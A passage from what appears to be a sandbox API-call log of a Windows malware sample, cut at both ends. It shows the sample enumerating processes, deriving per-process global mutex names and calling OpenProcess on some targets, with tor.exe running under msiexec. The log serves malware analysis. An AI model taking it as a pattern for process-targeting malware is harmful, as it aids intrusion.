lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="delicious_sale.exe")) returned 1 [0123.734] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="friendly.exe")) returned 1 [0123.734] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x638, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="reveal-salaries-mandate.exe")) returned 1 [0123.735] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x628, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="catalogvidsmoreoverrail.exe")) returned 1 [0123.736] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x344, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="sri-gods.exe")) returned 1 [0123.737] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="wines-fix-hopefully-analyzed.exe")) returned 1 [0123.738] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="lovers_voices_chicks.exe")) returned 1 [0123.738] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x5e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="cool rev connection ranger.exe")) returned 1 [0123.739] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x488, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="psychiatrychip.exe")) returned 1 [0123.740] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x6e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="delivers_launches_tagged_antique.exe")) returned 1 [0123.741] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x6a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="pp availability.exe")) returned 1 [0123.742] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="pdtdifficultrolandddr.exe")) returned 1 [0123.742] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x814, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="falls.exe")) returned 1 [0123.743] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="slightly dentists modified.exe")) returned 1 [0123.744] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x834, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="switchconventionspeppercovered.exe")) returned 1 [0123.745] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x844, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="statutes_slow_determines_ciao.exe")) returned 1 [0123.746] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x854, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="psp.exe")) returned 1 [0123.747] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x864, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="anonymous.exe")) returned 1 [0123.748] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="concept_nor_works_holder.exe")) returned 1 [0123.748] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x95c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0123.749] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x998, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="OSPPSVC.EXE")) returned 1 [0123.750] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x934, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0123.751] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x9dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0123.752] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0123.752] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mscorsvw.exe")) returned 1 [0123.753] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mscorsvw.exe")) returned 1 [0123.754] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x840, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0123.755] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0123.756] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x65c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="msiexec.exe")) returned 1 [0123.756] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7d, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe5, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 39 [0123.756] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 0x56c [0123.756] GetLastError () returned 0xb7 [0123.756] CloseHandle (hObject=0x56c) returned 1 [0123.757] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x65c, pcPriClassBase=8, dwFlags=0x0, szExeFile="tor.exe")) returned 1 [0123.757] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x65c, pcPriClassBase=8, dwFlags=0x0, szExeFile="tor.exe")) returned 0 [0123.758] CloseHandle (hObject=0x6cc) returned 1 [0123.758] WaitForSingleObject (hHandle=0x67c, dwMilliseconds=0x64) returned 0x102 [0123.856] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x6cc [0123.858] Process32FirstW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0123.859] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0123.860] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0123.861] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0123.862] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0123.863] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0123.863] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0123.864] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0123.865] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0123.866] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0123.867] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0123.867] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0123.868] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0123.869] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0123.870] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x354, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0123.871] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0123.871] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x3f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0123.872] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x160, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0123.873] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0123.874] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x40c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0123.875] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0123.876] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0xc2, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x7, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 39 [0123.876] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 0x56c [0123.876] GetLastError () returned 0xb7 [0123.876] CloseHandle (hObject=0x56c) returned 1 [0123.876] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x318, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0123.877] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 39 [0123.877] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 0x56c [0123.877] GetLastError () returned 0xb7 [0123.877] CloseHandle (hObject=0x56c) returned 1 [0123.877] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x550, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0123.878] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x354, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0123.878] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x1a, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0xdf, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 39 [0123.878] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 0x56c [0123.878] GetLastError () returned 0x0 [0123.878] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x5c8) returned 0x0 [0123.879] CloseHandle (hObject=0x56c) returned 1 [0123.879] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x354, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0123.879] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x2, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0xc7, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 39 [0123.879] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 0x56c [0123.879] GetLastError () returned 0x0 [0123.879] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x7d0) returned 0x0 [0123.879] CloseHandle (hObject=0x56c) returned 1 [0123.879] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x354, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0123.880] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x66, [1]=0x79, [2]=0xe7, [3]=0xa9, [4]=0xa3, [5]=0xe1, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 39 [0123.880] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 0x56c [0123.880] GetLastError () returned 0xb7 [0123.880] CloseHandle (hObject=0x56c) returned 1 [0123.880] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x78c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1dc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0123.881] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x5e, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0x9b, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-5E7C-E7A99BE46EA0}") returned 39 [0123.881] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-5E7C-E7A99BE46EA0}") returned 0x56c [0123.881] GetLastError () returned 0x0 [0123.881] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x78c) returned 0x0 [0123.881] CloseHandle (hObject=0x56c) returned 1 [0123.881] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="prospectssayspotteryamplifier.exe")) returned 1 [0123.882] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x580, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="combinations-bits-tape.exe")) returned 1 [0123.883] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="delicious_sale.exe")) returned 1 [0123.884] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="friendly.exe")) returned 1 [0123.885] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x638, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="reveal-salaries-mandate.exe")) returned 1 [0123.886] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x628, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="catalogvidsmoreoverrail.exe")) returned 1 [0123.886] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x344, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="sri-gods.exe")) returned 1 [0123.887] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="wines-fix-hopefully-analyzed.exe")) returned 1 [0123.888] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="lovers_voices_chicks.exe")) returned 1 [0123.889] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x5e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, 